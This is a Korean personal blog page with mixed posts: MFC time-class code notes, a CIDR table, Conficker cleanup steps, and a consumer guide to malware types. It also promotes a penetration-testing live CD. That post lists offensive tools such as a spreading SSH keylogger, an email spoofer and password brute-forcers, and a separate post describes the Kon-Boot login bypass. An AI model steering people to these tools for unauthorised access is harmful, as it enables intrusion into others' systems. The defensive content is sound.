어려움이 있어도 결국엔 우리가 성공할 수 있고 또 성공하리라는 흔들리지 않는 믿음을 유지해야 하며, 그와 동시에 눈앞의 현실 속에 있는 가장 냉혹한 사실들을 직시할 수 있는 규율을 가져야만 한다.

------------------------------------------------------------------

comebacktome

현실에 부딪혀 넘어져버린 당신께,
과거로의 도피를 허락합니다.

쉬임없이 달려가던 당신의 뒤에서 하염없이 정체된 나에게 잠시 기대는것을 허락합니다.

언제나 나는 멈춰있었습니다.

당신을 바라보든, 다른 누군가를 바라보든.
변하는건 시선뿐이고. 위치는 변함이 없었습니다.


그러므로 당신이 다시 들렸다 떠나버리는건 쉬운일입니다.

http://blog.naver.com/mastereraser

------------------------------------------------------------------

길 위에서의 생각 / 류시화

집이 없는 자는 집을 그리워하고
집이 있는 자는 먼 들녘의 바람을 그리워한다
나 집을 떠나 길 위에 서서 생각하니
삶에서 잃은 것도 없고 얻은 것도 없다
모든 것들이 빈 들녘의 바람처럼
세월을 몰고 다만 멀어져 갔다
어떤 자는 울면서 웃을 날을 그리워하고
웃는 자는 또 웃음 끝에 다가올 울음을 두려워한다
나 길가에 피어난 풀에게 묻는다
나는 무엇을 위해서 살았으며
또 무엇을 위해 살지 않았는가를
살아있는 자는 죽을 것을 염려하고
죽어가는 자는 더 살지 못했음을 아쉬워한다
자유가 없는 자는 자유를 그리워하고
어떤 나그네는 자유에 지쳐 길에서 쓰러진다.

이올린에 북마크하기
2010/01/01 19:54 2010/01/01 19:54

COleDateTime 클래스

Posted at 2009/11/23 00:21 // in Programming // by 엔신
----------------------------------------------------------------------------------------
COleDateTime now = COleDateTime::GetCurrentTime();
int a = now.GetMinute();
현재 시각이 1:27분이라면 27 정수를 리턴한다.

60초 체크하기
dwTimeStart = ::GetTickCount();    
dwTimeEnd   = dwTimeStart + 60000;  // 60초마다 체크

while (::GetTickCount() < dwTimeEnd)
{
    if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
    {
        ::TranslateMessage(&msg);
        ::DispatchMessage(&msg);
    }

    Sleep(1);
}
----------------------------------------------------------------------------------------
COleDateTime    now;
        now    = COleDateTime::GetTickCount();
        CString    strFileName;
        strFileName.Format(_T("HashLog_%04d%02d%02d_%02d%02d%02d.txt"), now.GetYear(), now.GetMonth(),
            now.GetDay(), now.GetHour(), now.GetMinute(), now.GetSecond());
----------------------------------------------------------------------------------------

이런 식으로 사용이 가능함
ATL/MFC에서 사용 주로 사용하는 시간 클래스
그런데 GetCurrentTIme쓰면 댄다는데 왜 VS2008에서 객체에서 ::했는데 안나오길래 GetTickCount() 사용했었는데...

그리고 두 COleDateTime 객체간의 차이를 구할 때는

----------------------------------------------------------------------------------------
COleDateTime ATime(2007, 4, 26, 17, 20, 30);
COleDateTime BTime(2007, 4, 26, 18, 20, 50);

COleDateTimeSpan C = BTime - ATime;

C.GetTotalDays() - 차이나는 총 날짜
C.GetTotalHours() - 차이나는 총 시간
C.GetTotalMinutes() - 차이나는 총 분
C.GetTotalSeconds() - 차이나는 총 초
----------------------------------------------------------------------------------------

객채를 생성할 때에는 아래와 같이 초기화하면서 사용 가능함
가장 일반적으로는 COleDateTime( nYear, nMonth, nDay, nHour, nMin, nSec ) 이게 많이 쓰이겠지..

----------------------------------------------------------------------------------------
COleDateTime( )   Constructs a COleDateTime object initialized to 0 (midnight, 30 December 1899).
COleDateTime( dateSrc )   Constructs a COleDateTime object from an existing COleDateTime object.
COleDateTime( varSrc )   Constructs a COleDateTime object. Attempts to convert a VARIANT structure or COleVariant object to a date/time (VT_DATE) value. If this conversion is successful, the converted value is copied into the new COleDateTime object. If it is not, the value of the COleDateTime object is set to 0 (midnight, 30 December 1899) and its status to invalid.
COleDateTime( dtSrc )   Constructs a COleDateTime object from a DATE value.
COleDateTime( timeSrc )   Constructs a COleDateTime object from a time_t value.
COleDateTime( systimeSrc )   Constructs a COleDateTime object from a SYSTEMTIME value.
COleDateTime( filetimeSrc )   Constructs a COleDateTime object from a FILETIME value. . Note that FILETIME uses Universal Coordinated Time (UTC), so if you pass a local time in the structure, your results will be incorrect. See File Times in the Platform SDK for more information.
COleDateTime( nYear, nMonth, nDay, nHour, nMin, nSec )   Constructs a COleDateTime object from the specified numerical values.
COleDateTime( wDosDate, wDosTime )   Constructs a COleDateTime object from the specified MS-DOS date and time values.
----------------------------------------------------------------------------------------

%a     Abbreviated weekday name
%A     Full weekday name
%b     Abbreviated month name
%B     Full month name
%c     Date and time representation appropriate for locale
%d     Day of month as decimal number (01 – 31)
%H     Hour in 24-hour format (00 – 23)
%I      Hour in 12-hour format (01 – 12)
%j      Day of year as decimal number (001 – 366)
%m    Month as decimal number (01 – 12)
%M   Minute as decimal number (00 – 59)
%p    Current locale's A.M./P.M. indicator for 12-hour clock
%S    Second as decimal number (00 – 59)
%U    Week of year as decimal number, with Sunday as first day of week (00 – 53)
%w   Weekday as decimal number (0 – 6; Sunday is 0)
%W   Week of year as decimal number, with Monday as first day of week (00 – 53)
%x    Date representation for current locale
%X    Time representation for current locale
%y    Year without century, as decimal number (00 – 99)
%Y   Year with century, as decimal number
%z, %Z  Either the time-zone name or time zone abbreviation, depending on registry settings; no characters if time zone is unknown
%%   Percent sign
----------------------------------------------------------------------------------------

라고 http://kgpark.net/tools/19 에 나와있었음...
클래스 멤버 변수는 아래 링크 참조
http://msdn.microsoft.com/en-us/library/by5d3kb1%28VS.80%29.aspx

이올린에 북마크하기
2009/11/23 00:21 2009/11/23 00:21

netmask 별 CIDR

Posted at 2009/10/08 00:20 // in CCNA // by 엔신
128.0.0.0                = 10000000.00000000.00000000.00000000 = /1
192.0.0.0             = 11000000.00000000.00000000.00000000 = /2
224.0.0.0                = 11100000.00000000.00000000.00000000 = /3
240.0.0.0                = 11110000.00000000.00000000.00000000 = /4
248.0.0.0                 = 11111000.00000000.00000000.00000000 = /5
252.0.0.0             = 11111100.00000000.00000000.00000000 = /6
254.0.0.0             = 11111110.00000000.00000000.00000000 = /7
255.0.0.0             = 11111111.00000000.00000000.00000000 = /8
255.128.0.0         = 11111111.10000000.00000000.00000000 = /9
255.192.0.0         = 11111111.11000000.00000000.00000000 = /10
255.224.0.0         = 11111111.11100000.00000000.00000000 = /11
255.240.0.0         = 11111111.11110000.00000000.00000000 = /12
255.248.0.0         = 11111111.11111000.00000000.00000000 = /13
255.252.0.0         = 11111111.11111100.00000000.00000000 = /14
255.254.0.0         = 11111111.11111110.00000000.00000000 = /15
255.255.0.0         = 11111111.11111111.00000000.00000000 = /16
255.255.128.0     = 11111111.11111111.10000000.00000000 = /17
255.255.192.0     = 11111111.11111111.11000000.00000000 = /18
255.255.224.0     = 11111111.11111111.11100000.00000000 = /19
255.255.240.0     = 11111111.11111111.11110000.00000000 = /20
255.255.248.0     = 11111111.11111111.11111000.00000000 = /21
255.255.252.0     = 11111111.11111111.11111100.00000000 = /22
255.255.254.0     = 11111111.11111111.11111110.00000000 = /23
255.255.255.0     = 11111111.11111111.11111111.00000000 = /24
255.255.255.128 = 11111111.11111111.11111111.10000000 = /25
255.255.255.192 = 11111111.11111111.11111111.11000000 = /26
255.255.255.224 = 11111111.11111111.11111111.11100000 = /27
255.255.255.240 = 11111111.11111111.11111111.11110000 = /28
255.255.255.248 = 11111111.11111111.11111111.11111000 = /29
255.255.255.252 = 11111111.11111111.11111111.11111100 = /30
255.255.255.254 = 11111111.11111111.11111111.11111110 = /31
255.255.255.255 = 11111111.11111111.11111111.11111111 = /32 (single host route)

종종 CIDR 값이 필요할 때가 있는데 기억력이 좋지 못해서 매번 잊어먹는다.
계산할려고 해도 방법이 매번 가물가물해서 헷갈리고....
이렇게 적어놓으면 괜찮겠지....

이올린에 북마크하기
2009/10/08 00:20 2009/10/08 00:20

Conficker Worm 바이러스 감염시 조치 방안

Posted at 2009/10/08 00:18 // in ETC // by 엔신
얼마 전 회사 네트워크에 conficker 웜이 감염됐었다.
해결하기 위해 고생좀 했는데,
가장 난감했던 것은 보안패치와 바이러스를 잡은 이후에도
재감염이 되었던 것이다.
어느 사이트에도 윈도우즈 디폴트 공유 폴더를 통해 감염되므로
해당 공유폴더를 제거하라는 안내는 없었고, 내가 알고있던 conficker 대처 방안으로 해결이 되지 않아서 고생했었다.
바이러스 제거 작업 처리 순서를 기록해놨던 것인데,
최근 일이 바빠서 쓸 내용이 없어서 이런거라도 적어놓는다.

//////////////////////////////////////////////////////

[감염 확인 방법]
시작->실행->cmd
netstat -an
명령어를 쳤을 때
수백개~수천개의 139 포트 또는 445포트가 연결된 흔적이 있거나
SYN 패킷이 발생되고 있다면 감염으로 의심하고, 백신이나 전용 백신을 사용하여 검사.

[Conficker 전용 백신 다운로드]
http://aldn.altools.co.kr/alyac/anti-downadup(conficker).exe

[Server 서비스 중지]
시작->실행->services.msc
Server 서비스 중지 후 사용안함 적용

* Server 서비스는 139,445 포트를 사용하는 공유폴더 서비스와 관련이 있음

[윈도우 Default 공유폴더 해제]
시작->실행->cmd 후 아래 명령어 입력

2000 Server 와 2003 계열은
reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters /v AutoShareServer /t REG_DWORD /d 0x00 /f

2000 Professional / XP Professional 계열은
reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters /v AutoShareWks /t REG_DWORD /d 0x00 /f

* 윈도우에서는 ADMIN$, C$와 같은 hidden 속성의 시스템 관리목적의 공유 폴더가 존재함. 해당 공유폴더를 통해 추가적인 재감염이 이루어지므로, 해제하여야 하고, 재부팅해야 적용되므로 아래 바이러스 치료 후 재부팅.

[바이러스 치료]
다운로드 받은 전용 백신을 실행하여 바이러스 치료후 재부팅

[윈도우즈 업데이트]
재부팅이 완료되면 윈도우즈 업데이트 사이트에 접근 가능해짐.
윈도우즈 업데이트가 가능한 시스템이라면 업데이트를 하고
불가능한 시스템이라면 MS08-067 패치만이라도 다운로드 받아서 설치한다.

[OS별 다운로드]
http://www.microsoft.com/korea/technet/security/Bulletin/MS08-067.mspx

[백신 실시간 감시]
백신을 다운로드 받아 설치후 실시간 감시 상태 적용.
윈도우즈 서버 계열과 XP에서 다 설치되는 알약 추천.

이올린에 북마크하기
2009/10/08 00:18 2009/10/08 00:18

수정함

Posted at 2009/07/03 00:39 // in Ambiguous // by 엔신
Firefox 3.5 shiretoko(시레토코) 출시, 그리고 한메일

파이어폭스 3.5가 나왔길래 어제 설치하고 오늘 하루종일 사용했습니다. 일단 이전보다 조금 더 가벼워진 느낌이라고 해야되나 쾌적한 느낌이라고 해야되나, 체감상으로는 좋아진 것 같습니다.

그런데 보다시피 한메일에 접속하자 접속이 되지않았습니다. 그 외에도 텍스트 큐브에서도 제대로 메뉴가 표시되지 않았습니다.

사용자 삽입 이미지
[Firefox 3.0.11에서의 화면]

사용자 삽입 이미지
[Firefox 3.5 shiretoko에서의 화면]
보다시피 파이어폭스 3.5에서는 정상적으로 위지윅 편집기가 표시되지 않는 문제가 있었습니다. 이러한 사소한 문제로 보아 다른 사이트에서도 더 많은 문제가 있을 것으로 예상이 됩니다.

안되는 것이 있으면 알려주세요. 같이 공유합시다.


다시 적습니다.
문제가 있었던 것은 ppa를 추가하고 받은 파이어폭스에서 발생한 문제였습니다.
파이어폭스 공식 홈페이지에서 압축파일로 된 버전을 받은 것은 문제없이 한메일 익스프레스에 잘 접속이 되었고, 텍스트큐브 위지윅도 정상적으로 표시되고 있습니다.
잘못된 정보 제공 죄송합니다.

이올린에 북마크하기(0) 이올린에 추천하기(0)
2009/07/03 00:39 2009/07/03 00:39

WeakNet Linux Version 2.0 Final 소개

Posted at 2009/07/02 11:52 // in ETC // by 엔신
WeakNet Labs에서 제작된 Live CD 형태의 Ubuntu 8.04 기반의 라이브 리눅스입니다. 일반적으로 pen test 함에 있어서 많은 유저들이 Backtrack을 사용하고 있는 실정입니다.(국내 상황). 그러나, 꼭 Backtrack만 써야할 이유는 없겠지요?

WNLV 2.0은 무료로 다운로드 받을 수 있으며, 25$를 기부하면 WNLA v2가 설치된 4GB 플래시 드라이브를 받을 수 있습니다.(이 부분은 국내에도 적용이 가능할지는 모르겠습니다. 배송비...ㅎㄷㄷ) 또한 기부금은 아프리카 우간다의 아이들에게 음식뿐만 아니라 컴퓨터 장비를 제공하는데 사용됩니다.

http://weaknetlabs.com/linux/ 에 접속하여 보면 주문되어진 USB 드라이브 개수가 나오고, 그 금액을 통해 몇명의 아이들을 도울 수 있는지 나옵니다.

아래는 스크린샷입니다.

사용자 삽입 이미지
사용자 삽입 이미지
사용자 삽입 이미지
사용자 삽입 이미지
사용자 삽입 이미지
사용자 삽입 이미지
사용자 삽입 이미지


사용된 프로그램들은 Perl, Perl Tk, PHP/MySQL 만들어진 코드입니다.
주요 특징은 아래와 같습니다.

[ >> ] 1337tool - dashboard to all WNL coded tools.
- WHP v4.1 - Web Hacking Portal, a web interface with mostly PHP to a few security tools.
- Catchme-NG v3.0 Web - A MAC address sniffer used in conjunction with a csv output file from a wireless sniffing utility.
- WardriveSQL - Wardrive utility coded with Perl and PHP to display results using MySQL server right from the Live Disk.
- Perlwd - Unix MD5 Password cracking utility - Perl proof-of-concept.
- Tartarus - HTTP authentication cracking utility written by ataxicwolf
- NetGh0st (ngh0st) - Network Administrator Shell.
- Perly Blue Box - Perl TK written Blue Box application for seizing and utilizing ProjectMF enabled Asterisk machines.
- MailSpoof LIVE! - Email spoofing utility which utilizes the SMTP server configured OOTB with the live disk.
- BruWRT F0RSSE - WRT54g password brute forcing utility.
- pM0n - Perl coded system administrator utility.
- RFInder - Proof of concept Google Dork finder for "Remote File Inclusion" vulnerabilities.
- YouTube-Thief! - Proof-of-concept YouTube Video saving utility, for backing up lost uploaded videos.
- USHlogger - SSH keystroke logger, that can be used as a virus to spread across inter-connected machines.

[ >> ] Security Other Security Tools

- Metasploit Suite - Exploitation Tool suite with command line options, shell, and Web interface
- Fast|Track Web Suite - Web Interface for Metasploit and fasttrack.py
- Nessus - Security Auditing tool
- Nikto - Web server security auditing tool written in Perl
- Wifizoo - Wireless Cookie Sniffer (for unencrypted packets)
- Aircrack-ng - Wireless penetration testing suite
- SSLDump - Packet decrypting using a web certificate as a "key"
- TCPDump - Packet sniffer
- Dsniff - Man in the Middle security attack suite
- Ettercap-GTK - Packet manipulation / Network security Tool
- Wireshark - Packet analyzation tool
- AirPWN - Packet Manipulation on unencrypted networks
- John the Ripper - MD5 Password cracker
- Sleuth Kit - Forensics
- Autopsy - Forensics
- Foremost - Forensics
- Scalpel - Forensics
- NMAP - Network Port Mapping Utility
- and much more.

default 관리 암호는 아래와 같습니다.

Login = assistant (always the same)
Sudo passwd = weaknet
Su password = weaknet2
Services Passwd's = weaknet (e.g. MySQL)

다운로드하기 위해서는 http://weaknetlabs.com/linux/ 에 접속하셔서 하단으로 가시면 됩니다.


이올린에 북마크하기(0) 이올린에 추천하기(0)
2009/07/02 11:52 2009/07/02 11:52

[Kon-Boot] Windows & Linux - Reset Password

Posted at 2009/07/01 00:52 // in ETC // by 엔신
윈도우즈에서 종종 비밀번호를 분실하는 경우가 발생한다. 본인도 얼마전에 가상머신안의 윈도우의 비밀번호를 분실했던 기억이 난다.(사실 압축해놨다가 몇개월만에 사용할려고 했는데 비밀번호가 기억이 안났었다...)

그런 상황에서 Kon-Boot를 사용하면 비밀번호를 초기화 할 수 있다고 한다. 직접 사용해 본 것은 아니기 때문에 장담은 못하지만, 지원 플랫폼이라면 가능해보인다. 참고적으로 x86 플랫폼에서만 가능하다.

우분투 리눅스에서는 single를 사용하여 로그인하여 비밀번호를 변경할 수 있다. 다른 리눅스도 되는지 모르겠다. 문제는 grub에도 비밀번호를 걸어놓고 사용하다가 분실하였을 때는 대략 난감........
그 때에 이 프로그램이 먹히는지 모르겠다. 나중에 테스트해볼까?....

윈도우
  • Windows Server 2008 Standard SP2 (v.275)
  • Windows Vista Business SP0
  • Windows Vista Ultimate SP1
  • Windows Vista Ultimate SP0
  • Windows Server 2003 Enterprise
  • Windows XP
  • Windows XP SP1
  • Windows XP SP2
  • Windows XP SP3
  • Windows 7

리눅스
  • Gentoo 2.6.24-gentoo-r5 GRUB 0.97
  • Ubuntu 2.6.24.3-debug GRUB 0.97
  • Debian 2.6.18-6-6861 GRUB 0.97
  • Fedora 2.6.25.9-76.fc9.i6862 GRUB 0.97

마음에 드는 것은 윈도우계열에서는 Windows 7까지 벌써 지원된다는 자체가 흥미롭다. 거기에다가 Server까지 만족스럽게... 지원을....

추가로 비스타 홈프리미엄 SP2를 대상으로한 동영상이다. 위 목록에는 나오지 않았지만, SP2에 대해서도 적용이 가능한가보다...



사이트
http://www.piotrbania.com/all/kon-boot/
이올린에 북마크하기
2009/07/01 00:52 2009/07/01 00:52

악성코드에 대하여 알면 위험으로부터 벗어날 수 있다

Posted at 2009/06/26 03:18 // in Malware // by 엔신
많은 사람들이 쉽게 악성코드(바이러스)에 쉽게 감염되기도 하고, 혹시나 감염이 되지 않았을까 걱정하기도 합니다. 이러한 피해와 두려움은 악성코드에 대한 무지로 인해 발생한다고 생각합니다. 그러므로 적을 알고 나를 알면 백전 백승이라고 하였듯이 악성코드에 대하여 알게 되면, 어떻게 하면 악성코드에 최대한 감염되지 않게 할 수 있고, 감염시 대처 방안을 간구할 수 있을 것이라고 생각합니다..그래서 혹시나, 제가 알고 있는 얕은 지식으로라도 도움이 될 수 있을지도 모른다는 생각에 한번 적어봅니다.

일단 악성코드에 대하여 설명해보겠습니다.

악성코드라는 말 그대로 악한 성질을 가지고 있는 코드(정확히는 악한 성질을 갖고 있는 프로그램이 되겠습니다.)입니다. 이러한 악성코드는 총체적인 단어로 사용이 되며, 세부적으로는 바이러스, 트로이목마, 웜바이러스, 애드웨어, 랜섬웨어 등이 존재합니다.


랜섬웨어란 몸값을 요구하는 프로그램입니다. 갑자기 이상한 소리하니 잘 이해가 안가시죠? 이 계열의 프로그램이 컴퓨터에 깔리게 되면 컴퓨터에 암호를 걸고 사용하지 못하게 한다거나, 특정 사이트나 메신져에 접속하지 못하게 하기도 합니다. 그렇게 한 후 대표적으로 팝업 사이트를 띄워 특정 사이트를 이용하거나 컴퓨터를 사용하고 싶으면, 어디로 돈을 보내라는 식의 요구를 합니다. 최근에는 가짜 백신으로 둔갑하여 허위로 컴퓨터에 바이러스가 감염이 되었으니 치료하고 싶다면 일정 금액을 결제하고 치료버튼을 누르라는 식으로 교묘해지고 있습니다. 그러나 실제로는 컴퓨터에 바이러스가 감염되지 않은 경우이겠지요. 그러므로 바이러스를 치료해준다거나, 애드웨어, 또는 악성코드를 제거해준다는 프로그램을 설치하고 사용하실 때에는 널리 사용되고 있는 제품을 사용하고, 또 다른 내용으로는 웹사이트를 서핑하다 액티브엑스 형식(은행 사이트에 들어가실때 프로그램 설치하라고 나오는 것 처럼)으로 프로그램을 설치하겠느냐고 나오는 것들에 대하여 내가 정말 필요한 프로그램인가 신중히 생각해보시고 결정하시길 바랍니다. 또는 정상적인 사이트인 경우에도 스폰서 제의를 통해 전혀 사이트 이용에 관련 없는 필요하지 않은 프로그램을 설치하라고 하는 경우도 있으니 대충 넘기셔서 설치하지 마시고 확인하고 설치하시기 바랍니다.


두 번째로 애드웨어가 있습니다. 애드웨어는 말 그대로 광고 프로그램입니다. 보통 때 처럼 컴퓨터를 사용하여 웹서핑을 하고 있는데 갑자기 광고 창이 뜨는 경우, 잘 웹서핑을 하고 있는 도중 갑자기 페이지가 바뀌면서 광고 페이지로 넘어가는 경우 애드웨어에 해당하는 프로그램이 설치되어 일정 시간 단위로 강제적으로 해당 사이트를 띄우거나 변경되도록 하는 경우라고 볼 수 있습니다.
이런 경우에 악성코드 제거 프로그램을 이용하여 고치는 경우가 다수입니다. 그래도 고쳐지지 않는 경우도 존재하는데, 이럴 때에는 제어판->프로그램추가/제거 메뉴로 가셔서 본인께서 사용하지 않는 프로그램이나 설치한 적이 없는 것 같은데 설치되어 있는 프로그램을 구분하셔서 제거하여 주시는 것이 좋습니다. 또한 액티브엑스로 설치가 된 경우에는 인터넷 익스플로러에서 제거를 해주셔야 합니다. 방법에 대하여서는 잘 모르실 듯 하여 프로그램을 이용할 수 있게 추천해드리겠습니다.

대표적으로 국가정보원에서 제작하여 배포하는 CleanAX라는 프로그램이 있습니다. 해당 프로그램은 일정 기간 사용하지 않은 액티브엑스를 삭제할 수 있습니다. 그러나 기간에 따른 자동 삭제 프로그램으로 세밀하지 못한 단점이 있기도 하지요 ^^ 다운로드는 http://www.ncsc.go.kr/Setup_CleanAX.exe 이나 포털 사이트에서 CleanAX를 검색하면 매우 많이 나옵니다.
두 번째로는 http://www.char.co.kr/ 사이트에서 받을 수 있는 불도저라는 프로그램을 추천합니다. 해당 프로그램은 액티브엑스 뿐만 아니라 설치된 프로그램과 BHO도 선택 삭제가 가능합니다. 액티브엑스에 대하여 뭘 삭제해야될지 모르시겠다면 액티브엑스 전체를 삭제하셔도 됩니다. 액티브엑스의 경우 삭제가 되어도 사용자가 다시 해당 사이트를 접속할 경우 설치가 되어 있지 않은 경우 설치하라고 뜨게 됩니다. 이때 설치하게 되면 예전처럼 정상적으로 이용이 가능해집니다. 그러므로 불필요한 액티브엑스는 제거되고 새롭게 정상적으로 이용되는 액티브엑스만 다시 설치가 되겠지요 ^^


세 번째로 트로이목마란, 정상적인 프로그램(트로이목마)안에 알게 모르게 악한 성질의 기능(트로이목마 안에 숨어있는 병사 정도?)을 감추고 있어서 사용자는 프로그램이 정상적인 기능을 하기 때문에 모를 수 있습니다. 하지만 내부적으로 사용자 모르게 어떠한 일처리를 수행하는 경우입니다. 예를 들면 내부적으로 사용자가 입력하는 비밀번호를 훔쳐서 특정 해커(크래커)의 이메일로 보낸다거나, 시작 프로그램이나 레지스트리에 컴퓨터가 시작될 때 어떠한 프로그램을 실행하도록 하는 것입니다.(트로이목마 뿐만 아니라 바이러스나 모든 악성코드들은 시작 프로그램이나 레지스트리 추가를 통하여 부팅시 프로그램이 자동으로 실행되어지도록 됩니다) 대체로 트로이 목마에는 백도어(Backdoor)라고 해서 해커(크래커)가 사용자의 컴퓨터에 접속할 수 있도록 사용자 모르게 뒷문을 열어두는 기능을 갖고 있어 해커로 하여금 사용자의 컴퓨터에 접속하여 마음껏 제어할 수 있게 하기도 합니다.

대체적으로 프로그램을 불법으로 사용할 수 있게하는 프로그램 등록번호 생성기(키젠), 프로그램 등록 패치에 숨겨져서 배포되는 경우가 대다수 입니다. 이러한 기능을 주로 수행하기 때문에 대부분의 키젠을 백신에서는 트로이목마로 진단하기도 합니다. 그러므로 불법 프로그램 사용하는 것은 사용자 컴퓨터에 위험을 초례하는 길이겠지요 ^^


네 번째로 바이러스입니다. 일반적으로 많이 접하는 단어이지만 정확히 무엇인지는 잘 모르실 것입니다. 바이러스란 정상적인 파일의 일부를 변형시켜 악성 기능을 삽입하거나, 변형을 가하여 정상적으로 작동하지 못하고, 또한 그러한 악성행동을 다른 컴퓨터나 다른 파일에도 감염시키는 행위(자기복제)를 하여 다른 시스템에 바이러스를 전파하는 프로그램입니다.

설명이 조금 어렵지요? 쉽게 이야기하면, 정상적으로 작동하는 파일이 있는데, 그 파일에 변형을 가하여 사용자 모르게 나쁜 짓을 한다거나, 사용자가 프로그램을 실행시켜야 하는데 있어서 필요한 파일에 변형을 가하여 정상적으로 프로그램이 실행되지 못하게 하는 것입니다. 또한 다른 파일이나 컴퓨터에 똑같은 변형이나 악성기능을 삽입하는 전파기능을 갖고 있습니다.

그 대상이 되는 파일이 주로 윈도우와 관련된 파일인 경우가 많아서 바이러스에 걸릴 경우 컴퓨터에 오류가 많이 발생하게 되는 것입니다.

감염이 되는 주로 이용되는 방법은 인터넷에 정상적인 파일인 것처럼 위장하여 올려지고, 사용자는 그 것을 받아 실행하게 됩니다. 이럴 경우 감염이 이루어지게 되는 것이지요. 그러니 확인되지 않은 프로그램을 함부로 실행하면 안되겠지요? 최근에는 프로그램뿐만 아니라, 워드파일, 엑셀파일,PDF파일, 플래시동영상파일, scr(스크린세이버)파일을 실행시킬 때 감염되는 형태를 띄기도 합니다. 그러므로 MS오피스를 사용하시는 분들은 보안 업데이트를 반드시 최신으로 해주시기 바랍니다. 또한 PDF에 사용되는 아크로벳리더나 플래시플레이어도  마찬가지로 되도록 최신 버전을 사용하여 주시기 바랍니다. 하나 추가로 알려드리면, 무조건 최신이라고 안전한 것은 아닙니다. 하시만 그래도 최신을 사용할 경우 이전에 도사리던 위험은 제거됐을 확율이 높겠지요.(원래는 프로그램마다 보안패치라고 하여 새롭게 업데이트 되는 경우가 있습니다. 이럴 경우에는 반드시 업데이트를 해주셔야 하는 것이 좋습니다.)


다섯 번째로 웜 바이러스라는 것이 있습니다. 위 내용의 바이러스과 유사한 기능을 합니다. 파일을 변형하여 사용하지 못하게 하거나 악성 기능을 삽입하지요. 다만 감염 경로가 다릅니다. 파일을 통한 감염보다는 네트워크를 통해서 감염이 됩니다. 예를 들면 학교나 피시방 같은 경우에는 한 교실에 수십대의 컴퓨터가 존재합니다. 이러한 경우 하나의 네트워크를 구성하게 되는 것이지요. 이 경우 네트워크를 통하여 자신과 같은 네트워크에 다른 컴퓨터가 존재하는지 네트워크로 데이터를 보내고, 바이러스에 감염이 될 수 있는 취약한 시스템(운영체제)인지 확인합니다. 취약한 시스템인 경우에는 바이러스에 감염이 되겠지요. 그래서 보통 학교같은 곳에서는 한대의 컴퓨터에 웜 바이러스가 걸린 경우 해당 학교의 모든 컴퓨터가 바이러스에 걸리기 쉽상입니다. 또한 한대한대 치료하여도, 다른 감염된 컴퓨터가 치료한 컴퓨터에 또 네트워크로 바이러스 데이터를 보내게 됩니다. 그러면 한대 치료하고 다른 한대 고치면, 이전에 치료했던 컴퓨터가 또 감염이 되어 있지요. 그래서 고쳐도 고쳐도 바이러스에 걸리니까 사람들은 포맷을 하지 않는 이상 고칠수 없다 라고 말하기도 합니다. 이러한 경우에는 바이러스를 치료하고 난 이후, 반드시 윈도우즈 업데이트를 실행하셔서 업데이트를 하셔야 이후에 감염이 되지 않습니다.웜 바이러스의 경우 네트워크로 대량의 데이터를 보내는 경우가 많이 있기에 컴퓨터가 느려지거나, 인터넷이 느려지는 증상이 많이 발생합니다.

웜 바이러스는 윈도우즈의 취약점을 통해 네트워크로 데이터를 보내기 때문에 윈도우즈의 취약한 부분을 패치하지 않는 이상 지속적으로 바이러스에 감염이 될 수 밖에 없습니다. 그러니 반드시 윈도우즈 업데이트를 하는 습관을 갖기를 추천합니다. 그러나 혹시 내 컴퓨터는 정품이 아니라서 업데이트가 되지 않는다 라고 생각 되실 때에는 한국정보보호진흥원 인터넷침해사고대응지원센터에서 운영하는 보호나라라는 사이트가 있습니다. 그 곳에서는 PC자동보안 업데이트라는 프로그램을 제공합니다. 이는 한국정보보호진흥원에서 제공하는 서버를 통해 보안패치를 하기 때문에 윈도우즈업데이트의 정품 인증이 되어 있지 않더라도 보안 패치를 할 수 있습니다.

http://www.boho.or.kr/index.jsp에 접속하시면 PC자동보안 업데이트 프로그램을 받으실 수 있습니다.


최 근에는 USB 메모리의 사용 빈도가 많아짐에 따라 USB 메모리를 매개체로 감염이 되는 바이러스들이 활개를 치고 있습니다. 다들 USB 메모리 사용 하고 계시죠? USB 메모리 사용에 있어서 몇가지 주의와 설정을 해 놓는다면 안전을 보장할 수 있습니다.
USB 메모리는 자동실행 기능이 있습니다. 시디롬에 CD를 삽입하면 자동으로 설치 화면이 뜨는 경우를 보신적이 있으실 겁니다. 그러한 기능이 USB 메모리도 가능합니다. 이 기능을 악용하여 바이러스가 USB 메모리가 바이러스를 전파하게 됩니다.
한 컴퓨터에 이미 바이러스가 감염이 되었다고 가정하겠습니다. 그 컴퓨터의 바이러스는 USB 메모리가 컴퓨터에 꼽혀질 경우 장치를 인식하여 해당 USB 메모리에 악성 파일을 복사하여 옮겨 놓습니다. 이 경우만 가지고는 사용자가 악성 파일을 실행하기 전까지는 바이러스가 감염이 되었다고 보기 어렵습니다. 하지만 파일을 복사하면서 autorun.inf 파일을 USB 메모리 루트에 생성해 놓습니다. 해당 파일이 USB메모리가 컴퓨터에 꼽힐 때 자동으로 실행될 내용을 담고 있습니다. autorun.inf 파일에는 대체로 USB 메모리에 심어진 악성 파일을 실행하는 명령이 들어 있는 경우가 대다수입니다. 대체로 숨김 파일, 또는 시스템 파일로 위장하기 때문에 모두 보기 옵션을 허용해놓지 않은 경우 눈으로 보이지 않은 경우가 많습니다.

이렇게 autorun.inf와 악성파일이 생긴 USB 메모리를 바이러스가 감염이 되지 않은 다른 컴퓨터에 꼽을 경우 USB 자동 실행 기능을 통하여 해당 컴퓨터에도 바이러스를 실행하여 감염시키게 됩니다. 이런 경로로 감염이 되다 보니, 바이러스에 감염된 USB를 여러 컴퓨터에 꼽게 된다면, 해당 컴퓨터들은 모두 바이러스에 감염이 되고 말겠지요.

윈도우즈 비스타, 윈도우즈XP의 경우 이 자동실행 기능이 기본적으로 enable되어 있습니다. 이 기능을 disable시켜 놓으면 USB 메모리에 바이러스가 심어지더라도, 자동실행 기능을 disable시켜 놓은 운영체제(컴퓨터)에서는 USB를 꼽더라도 자동으로 바이러스를 실행시키지 않으므로 어떠한 바이러스가 감염된 USB를 꼽더라도 어느정도 안전을 보장할 수 있습니다.(어느정도 라는 표현은 이 역시도 우회가 가능하기 때문입니다. 그러나 저는 그 정도로 잘 만들어진 악성코드는 보지 못하였습니다.)
이러한 자동실행을 방지 하는 방법은 프로그램을 이용하는 방법과 윈도우 기본 정책을 바꾸는 방법 등이 존재합니다.

